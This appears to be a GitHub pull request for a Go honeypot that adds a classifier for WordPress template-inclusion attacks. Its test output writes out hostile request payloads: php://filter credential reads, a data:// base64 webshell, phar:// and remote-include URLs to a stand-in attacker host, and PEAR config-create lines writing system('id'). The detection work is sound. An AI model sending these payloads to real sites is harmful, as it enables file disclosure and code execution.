Skip to content

feat(http-honeypot): classify CVE-2026-87902 template inclusion, not just pagename traversal - #3425

Closed
Xore wants to merge 1 commit into
mainfrom
oc/3309-fix
Closed

Xore wants to merge 1 commit into
mainfrom
oc/3309-fix

Conversation

@Xore

@Xore Xore commented Sep 27, 2026

Copy link
Copy Markdown
Owner

Summary

Second half of #3309. #3359 added wordpress-pagename-traversal on the published request shape — a double-encoded pagename. That case sees ../ and ..\ in a parameter named pagename, which is the traversal story and not the whole of the flaw. The bug is a file inclusion: get_page_template() urldecodes pagename and hands the result to locate_template(), which checks only that the candidate exists and ends in .php/.html — never that it is still inside a theme root. So a PHP stream wrapper is the same primitive reached a different way, and template, page_template, theme and stylesheet name a template through the same hierarchy.

New honeypot.payload_class value wordpress-template-inclusion, one more branch of classifyPayload and nothing else. No new engine, no new language, nothing deserialized, nothing evaluated, and no request-supplied name is ever joined to a directory, opened or included.

The gate: WordPress shape AND an inclusion payload

Three things must hold, and each alone is ordinary traffic:

  1. a template selector — pagename, page_template, template, theme, stylesheet;
  2. a WordPress signal that is not the attacker's target — page_id (the advisory's documented precondition), rest_route (WordPress's own REST multiplexer), or a WordPress core path in a value;
  3. an inclusion payload in a template selector — traversal, a stream wrapper, a remote URL, or the PEAR command channel.

Condition 2 is the design, and it is what the earlier class did not require. pagename and template are WordPress query variables, not WordPress-exclusive parameter names — without it, a scanner probing some other application gets its generic LFI relabelled as a WordPress CVE. wp-config.php is deliberately excluded from the core-path list for the same reason: naming a file is what an attacker does, and treating that as evidence of what was being attacked is how a real disclosure probe becomes a CVE label.

The PEAR stage is its own branch

The verified PoC splits one request in two, and that split defeats both existing cases. WordPress routing travels in the form body; PEAR's argv travels in the raw query string, because PHP splits the query on literal + without decoding the arguments. pearcmd-rce reads the query only and needs both markers in it, so the shape the advisory tells defenders to look for — +config-create+ in the query of a request to the WordPress front end — was labelled nothing. Query and body are therefore read together, because WP::parse_request() merges them.

Ordering

Checked after wordpressPagenameTraversal, so #3359's labels do not move: a request it already claims keeps the class it has shipped with. Before the generic cases, because an inclusion aimed at /etc/passwd is a narrower and more actionable reading than "somebody asked for /etc/passwd" — the precedence the corpus table already gives command-injection over secret-read.

Why a parser change was needed

Both WordPress cases now share a parser that matches what the target parses. url.ParseQuery rejects and drops any pair containing a semicolon; PHP's only separator is &, so data://text/plain;base64,… reaches WordPress as one value with its media type intact — and the sensor, parsing it the Go way, could not see the parameter at all. formValues splits on &, then on the first =, then unescapes each side, keeping an undecodable side rather than dropping it.

A throwaway differential run compared the pre-change function body against the new one over every input the existing suites pin (the 30-day corpus table, #3359's 9 cases, this PR's cases, plus parser edge cases). One input differs, and it is the intended one:

DIFF q="" b="pagename=..%2f..%2f;x" : old=false new=true

Go threw that pair away; PHP does not. No existing test was changed, weakened or deleted to accommodate any of this.

RED against origin/main, GREEN with the change

main.go untouched, new test file only — 14 positives + the end-to-end case fail:

--- FAIL: TestWordpressTemplateInclusion (0.00s)
    --- FAIL: TestWordpressTemplateInclusion/php://filter_read_through_pagename,_with_the_documented_page_id (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("", "page_id=2&pagename=php://filter/convert.base64-encode/resource=wp-config.php") = "", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/phar://_deserialization_wrapper_through_pagename (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("", "page_id=2&pagename=phar://203.0.113.9/uploads/2026/09/x.phar/index") = "", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/data://text/plain_through_pagename (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("page_id=2&pagename=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOw==", "") = "", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/remote_include_straight_to_an_attacker_URL (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("page_id=2&pagename=https://203.0.113.9/stage2.php", "") = "", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/wrapper_naming_a_credential_file_outranks_the_generic_secret-read_class (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("", "page_id=2&pagename=php://filter/convert.base64-encode/resource=/etc/passwd") = "secret-read", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/page_template_carrying_traversal,_the_documented_page_id (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("", "page_id=2&page_template=../../../../../../wp-config.php") = "path-traversal", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/backslash_traversal_in_page_template,_which_no_existing_case_reads (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("page_id=2&page_template=..%5c..%5c..%5c..%5c..%5cboot.ini", "") = "path-traversal", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/double-encoded_wrapper,_decoded_twice_before_it_reads_as_one (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("page_id=2&template=%2570%2568%2570%253a%252f%252ffilter%252fconvert.base64-encode%252fresource%253dwp-config.php", "") = "", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/template_carrying_traversal_on_a_WordPress_REST_route (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("rest_route=/wp/v2/pages&template=../../../../../../etc/passwd", "") = "secret-read", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/theme_carrying_traversal_on_a_WordPress_REST_route (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("rest_route=/wp/v2/pages&page_id=2&theme=../../../../../../etc/passwd", "") = "secret-read", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/stylesheet_naming_a_theme_path_that_walks_out_of_itself (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("page_id=2&stylesheet=../../../../../../wp-content/plugins/akismet/akismet.php", "") = "path-traversal", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/WordPress_front_end_carrying_PEAR_argv_in_the_query (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("+config-create+/<?=system('id')?>+/tmp/x.php", "page_id=2&template=../../../../../../usr/local/lib/php/pearcmd") = "path-traversal", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/pearcmd_named_in_the_query,_WordPress_routing_in_the_body (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("pearcmd&+config-create+/&/<?=system('id')?>+/tmp/x.php", "page_id=2&page_template=../../../../../../usr/local/lib/php/pearcmd") = "pearcmd-rce", want "wordpress-template-inclusion"
    --- FAIL: TestWordpressTemplateInclusion/PEAR_writer_probe_at_a_WordPress_front_end,_nothing_else (0.00s)
        wordpress_template_inclusion_test.go:193: classifyPayload("+config-create+/&/<?=system('id')?>+/tmp/x.php", "page_id=2&pagename=about-us") = "", want "wordpress-template-inclusion"
--- FAIL: TestWordpressTemplateInclusionReachesTheEvent (0.00s)

With the change:

--- PASS: TestWordpressTemplateInclusion (0.00s)
--- PASS: TestWordpressTemplateInclusionLeavesBenignTrafficAlone (0.00s)
--- PASS: TestWordpressTemplateInclusionLeavesForeignClassesAlone (0.00s)
--- PASS: TestWordpressTemplateInclusionReachesTheEvent (0.00s)
PASS
ok  	http-honeypot	0.003s

Full suite: 73 top-level tests, 107 subtests, 0 failures. gofmt -l clean, go vet clean, go test -race -count=2 clean. The negative tables pass on origin/main too — by design; they are regression pins for classes this change must not take.

False positives — the part that decides whether this is usable

Nine benign near-misses, every expected value measured against origin/main rather than assumed:

  • the full WordPress shape fetching an ordinary page (page_id=2&theme=twentytwentyfive&file=/wp-content/themes/…) → unlabelled
  • an ordinary WordPress login carrying redirect_to=/wp-admin/ → unlabelled
  • a normal plugin readme request (action=plugin&plugin=akismet&…) → unlabelled
  • pagename=my..slug — a .. with no separator after it → unlabelled
  • next=/themes/../uploads/photo.jpg and next=/wp-admin/../wp-login.php — a path that walks out and back, the hard version of the same near-miss → unlabelled
  • a remote URL beside the shape, in a parameter that names no template → unlabelled
  • wp-content/ in prose on a pager → unlabelled

And eight "keeps its own class" negatives, four of them real traffic from the window #3309 measured:

request stays
+config-create+/&lang=../pearcmd&/<?=phpinfo()?>… (25 events) pearcmd-rce
template=../../../../../../etc/passwd — a WordPress variable name on a non-WordPress app secret-read
files=../../../../wp-config.php — theme css.php disclosure (14 events) path-traversal
lang=../../…/tmp/index1 (81 events) path-traversal
rest_route=/wp/v2/users&per_page=100 (372 events) wordpress-rest-probe
file=php://filter/…/etc/passwd — generic RFI secret-read
include=https://… , file=phar://… unlabelled (no generic inclusion class is added)

The pearcmd pair is a controlled twin: identical query string, one body changed, opposite answer — the CVE class with page_id=2&page_template=… in the body, pearcmd-rce without it.

What this still misses

Stated plainly, because the gate is deliberately strict:

  • A wrapper in pagename with no second WordPress signal is left unlabelled. For traversal, the older class still catches it; for a wrapper there is nothing, and guessing would mean labelling on pagename alone.
  • For a double-encoded pagename, wordpress-pagename-traversal still wins — its surviving %2f is exactly what it looks for. The new class's added value there is the singly-encoded wrapper, the other selectors, and the PEAR channel.
  • pear:// is not matched as a wrapper: PHP has no such wrapper, so it would be a label with no mechanism behind it. The PEAR stage is caught by config-create/pearcmd instead.
  • The request path is not consulted. A real attack POSTs to /, which is the least identifying path there is, and http.ServeMux cleans .. out of r.URL.Path before a handler sees it — so path matching has no discriminating power for this CVE. Where the theme path travels, it travels as a parameter value, which is what the stylesheet case covers.
  • Unmeasured against the fleet. Elasticsearch is not reachable from where this landed, and research: CVE-2026-87902 WordPress Core file inclusion (KEV 2026-09-25) — APIARY detection coverage #3309's 30-day window contains no request of this CVE's shape. The corpus counts above are research: CVE-2026-87902 WordPress Core file inclusion (KEV 2026-09-25) — APIARY detection coverage #3309's, not re-measured.

Checks

  • Byte-pattern detection on request bytes only. Nothing deserialized, nothing eval'd, no request-supplied path resolved, opened or included on disk.
  • WordPress shape and an inclusion payload both required; generic LFI/RFI keeps its own class.
  • No existing test weakened, deleted or skipped; no assertion relaxed. payload_test.go and every other test file are byte-identical.
  • No new event field → event contract unchanged → openapi.json needs no regeneration and was not touched.
  • No workflow touched → no new action to pin to a SHA, and no zizmor finding allowlisted.
  • scripts/check-public-leaks.py passes. Test payloads use the published shape and RFC 5737 203.0.113.0/24; no live target.

Refs #3309 (not closing it — the issue closes after the rebuilt sensor is deployed, as #3359's comment recorded).

…just pagename traversal

Second half of #3309. #3359 added `wordpress-pagename-traversal` on the
published request shape: a double-encoded `pagename`. That case can only see
`../` and `..\` in a parameter named `pagename`, which is the traversal story
and not the whole of the flaw. The bug is a file *inclusion* --
get_page_template() urldecodes `pagename` and hands the result to
locate_template(), which checks only that the candidate exists and ends in
.php/.html, never that it is still inside a theme root -- so a PHP stream
wrapper is the same primitive reached a different way, and `template`,
`page_template`, `theme` and `stylesheet` name a template through the same
hierarchy as `pagename` does.

New payload class `wordpress-template-inclusion`, one more branch of the
existing byte-pattern classifier and nothing else: no new engine, no new
language, nothing deserialized, nothing evaluated, and no request-supplied
name ever joined to a directory, opened or included.

Three things must be true, and each alone is ordinary traffic. A template
selector is present. A WordPress signal that is not the attacker's target is
present -- `page_id` (the advisory's documented precondition) or `rest_route`
(WordPress's own REST multiplexer), or a WordPress core path in a value. And
an inclusion payload sits in a template selector: traversal, a stream wrapper,
a remote URL, or the PEAR command channel.

That second condition is the design and it is what the previous class did not
require. `pagename` and `template` are WordPress *query variables*, not
WordPress-exclusive parameter names, so without it a scanner probing some
other application would have its generic LFI relabelled as a WordPress CVE.
`wp-config.php` is excluded from the core-path list for the same reason:
naming a file is what an attacker does, and treating that as evidence of what
was being attacked is how a real disclosure probe becomes a CVE label.

The PEAR stage is its own branch because the split request defeats both
existing cases. The verified PoC puts WordPress routing in the form body and
PEAR's argv in the raw query string (PHP splits the query on literal `+`
without decoding the arguments); `pearcmd-rce` reads the query only and needs
both markers in it. The advisory tells defenders to look for "+config-create+"
in the query of a request to the WordPress front end, and that pair was
labelled nothing. Query and body are therefore read together, because
WP::parse_request() merges them.

Ordered after the pagename case, so #3359's labels do not move -- a request it
already claims keeps the class it has shipped with. Before the generic cases,
because an inclusion aimed at /etc/passwd is a narrower reading than "somebody
asked for /etc/passwd", the precedence the corpus table already gives
command-injection over secret-read.

Both WordPress cases now share a parser that matches what the target parses.
url.ParseQuery rejects and drops any pair containing a semicolon; PHP's only
separator is "&", so `data://text/plain;base64,...` reaches WordPress as one
value with its media type intact and the sensor, parsing it the Go way, could
not see the parameter at all. Split on "&", then on the first "=", then
unescape each side; an undecodable side is kept rather than dropped. A
differential run over every input the existing suites pin -- the 30-day corpus
table, #3359's 9 cases, this file's cases, and parser edge cases -- differs
from the old parser on exactly one input: a `pagename` value containing a
semicolon, which Go threw away and PHP does not. No existing test was changed
to accommodate any of this; the whole suite passes untouched.

Red on origin/main, green here: 14 positives, 9 benign near-misses and 8
"keeps its own class" negatives, plus an end-to-end case asserting the class
reaches the emitted event on a request with auth_outcome=unknown and that
#3213's redaction did not cost the payload signature. Every expected value in
the negative tables is the value origin/main already produced for that input,
measured rather than assumed. The negatives are the part that decides whether
this is usable: the full WordPress shape fetching an ordinary page, an
ordinary login carrying a WordPress marker, a normal plugin read, a `..` with
no separator after it, and a rewritten asset URL walking out of a WordPress
directory. Real traffic keeps its own class -- the index.php pearcmd LFI
(25 events), bare traversal (81), the theme css.php disclosure (14) and
wordpress-rest-probe (372).

Not measured against the fleet: Elasticsearch is not reachable from here, and
the 30-day window #3309 measured contains no request of this CVE's shape. The
corpus counts quoted above are #3309's, not re-measured.

Event contract unchanged: no field added, so openapi.json needs no
regeneration. No workflow touched, so no action to pin and no zizmor finding
to allowlist.

Refs #3309
@github-actions

Copy link
Copy Markdown

Dependency Review

✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.

Scanned Files

None

@Xore

Xore commented Sep 28, 2026

Copy link
Copy Markdown
Owner Author

Superseded by #3449, which resolves the rebase conflict on this branch against current main. Same content, landable state, with one symbol-level adjudication documented in that PR's body.

@Xore Xore closed this Sep 28, 2026
Xore added a commit that referenced this pull request Sep 28, 2026
…er (#3464)

main.go's classifyPayload switch and the helper block below it are the two
regions every CVE classifier edits, so any two CVE branches in flight collide
in both at once -- #3423/#3444, #3425/#3449 and #3442 have all hit it, and
each resolution had to be re-derived by hand.

The cases move out into classify_roundcube.go, classify_wordpress.go,
classify_ollure.go, classify_odata.go and classify_generic.go, each holding
its own case and its own helpers. What is left in classify.go is the ordered
slice and a first-match-wins loop over it, so a new CVE is a new file and one
line of a list rather than two regions of a 700-line switch.

The order is semantic, so it is now asserted rather than trusted.
TestPayloadClassOrderIsPinned compares the whole dispatch to a pinned list
position by position, and a precedence table gives one payload per deliberate
overlap -- a base64 dropper that is also php-code, a pagename traversal that
is also a pearcmd chain, version.bind that is also a bare hostname, a new
class that would land below serialized-object and never fire. Swapping any
two entries fails a row. The same table adds the one payload per class, which
is also the first coverage jndi-lookup, xxe, template-injection and
info-disclosure have had through classifyPayload.

TestClassifyPayloadCorpusCoversEveryDispatchClass is what keeps the file from
going stale again. The pinned order and the two corpora are three separate
lists and nothing forced a rebase that adds a class to update all three; this
does. It is the failure the issue exists to prevent, in the shape it takes
after a merge rather than before one.

Rebased onto main, which grew the classifier while this branch was open, so
what the rebase reconciled is part of the change rather than a footnote to it:

  - #3449 added wordpress-template-inclusion, CVE-2026-87902's second
    reading, and main puts it at position 4: after
    wordpress-pagename-traversal, which shares the CVE and whose labels must
    not move, and before pearcmd-rce and the generic cases below. It is a
    class, so it is a case in classify_wordpress.go next to the one it
    divides with, one line in the dispatch, one payload of its own and four
    overlaps in the precedence table -- the split-request PEAR argv it claims
    from pearcmd-rce, the credential read it claims from secret-read, the
    pagename traversal it must lose to, and the generic LFI it must not take
    at all.

  - #3449 also refactored the pagename case onto shared formValues and
    decodeUpTo helpers, because url.ParseQuery drops a pair containing a
    semicolon and `data://text/plain;base64,...` is one value at WordPress.
    The rewrite moved with the case into classify_wordpress.go. Left behind it
    would have been a stale copy of a helper main had already changed, which
    is a silent detection gap rather than a compile error.

  - The refactor had put teamcity-agent-deserialization first and
    roundcube-virtuser-query-sqli second; main has them the other way round.
    No payload currently matches both, so the transposition changed no label
    -- but it is still a change to a first-match-wins list, and the pinned
    order is main's order rather than the refactor's.

No behaviour change. Every label is distinct, so the label is the identity of
the case. The 34 cases, their order and every helper body are main's; the one
rewrite a case body needs is a comma becoming an ||. Verified rather than
asserted: a corpus of 167 payloads -- every (query, body) pair the package's
own test tables contain, harvested with go/ast from all seven of them -- was
replayed through the pre-split classifier at b15213e and through this tree,
and the two label streams are identical row for row, all 34 classes included
and none of them reached by a payload the other tree labelled differently.
Xore added a commit that referenced this pull request Sep 28, 2026
…er (#3464) (#3470)

main.go's classifyPayload switch and the helper block below it are the two
regions every CVE classifier edits, so any two CVE branches in flight collide
in both at once -- #3423/#3444, #3425/#3449 and #3442 have all hit it, and
each resolution had to be re-derived by hand.

The cases move out into classify_roundcube.go, classify_wordpress.go,
classify_ollure.go, classify_odata.go and classify_generic.go, each holding
its own case and its own helpers. What is left in classify.go is the ordered
slice and a first-match-wins loop over it, so a new CVE is a new file and one
line of a list rather than two regions of a 700-line switch.

The order is semantic, so it is now asserted rather than trusted.
TestPayloadClassOrderIsPinned compares the whole dispatch to a pinned list
position by position, and a precedence table gives one payload per deliberate
overlap -- a base64 dropper that is also php-code, a pagename traversal that
is also a pearcmd chain, version.bind that is also a bare hostname, a new
class that would land below serialized-object and never fire. Swapping any
two entries fails a row. The same table adds the one payload per class, which
is also the first coverage jndi-lookup, xxe, template-injection and
info-disclosure have had through classifyPayload.

TestClassifyPayloadCorpusCoversEveryDispatchClass is what keeps the file from
going stale again. The pinned order and the two corpora are three separate
lists and nothing forced a rebase that adds a class to update all three; this
does. It is the failure the issue exists to prevent, in the shape it takes
after a merge rather than before one.

Rebased onto main, which grew the classifier while this branch was open, so
what the rebase reconciled is part of the change rather than a footnote to it:

  - #3449 added wordpress-template-inclusion, CVE-2026-87902's second
    reading, and main puts it at position 4: after
    wordpress-pagename-traversal, which shares the CVE and whose labels must
    not move, and before pearcmd-rce and the generic cases below. It is a
    class, so it is a case in classify_wordpress.go next to the one it
    divides with, one line in the dispatch, one payload of its own and four
    overlaps in the precedence table -- the split-request PEAR argv it claims
    from pearcmd-rce, the credential read it claims from secret-read, the
    pagename traversal it must lose to, and the generic LFI it must not take
    at all.

  - #3449 also refactored the pagename case onto shared formValues and
    decodeUpTo helpers, because url.ParseQuery drops a pair containing a
    semicolon and `data://text/plain;base64,...` is one value at WordPress.
    The rewrite moved with the case into classify_wordpress.go. Left behind it
    would have been a stale copy of a helper main had already changed, which
    is a silent detection gap rather than a compile error.

  - The refactor had put teamcity-agent-deserialization first and
    roundcube-virtuser-query-sqli second; main has them the other way round.
    No payload currently matches both, so the transposition changed no label
    -- but it is still a change to a first-match-wins list, and the pinned
    order is main's order rather than the refactor's.

No behaviour change. Every label is distinct, so the label is the identity of
the case. The 34 cases, their order and every helper body are main's; the one
rewrite a case body needs is a comma becoming an ||. Verified rather than
asserted: a corpus of 167 payloads -- every (query, body) pair the package's
own test tables contain, harvested with go/ast from all seven of them -- was
replayed through the pre-split classifier at b15213e and through this tree,
and the two label streams are identical row for row, all 34 classes included
and none of them reached by a payload the other tree labelled differently.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant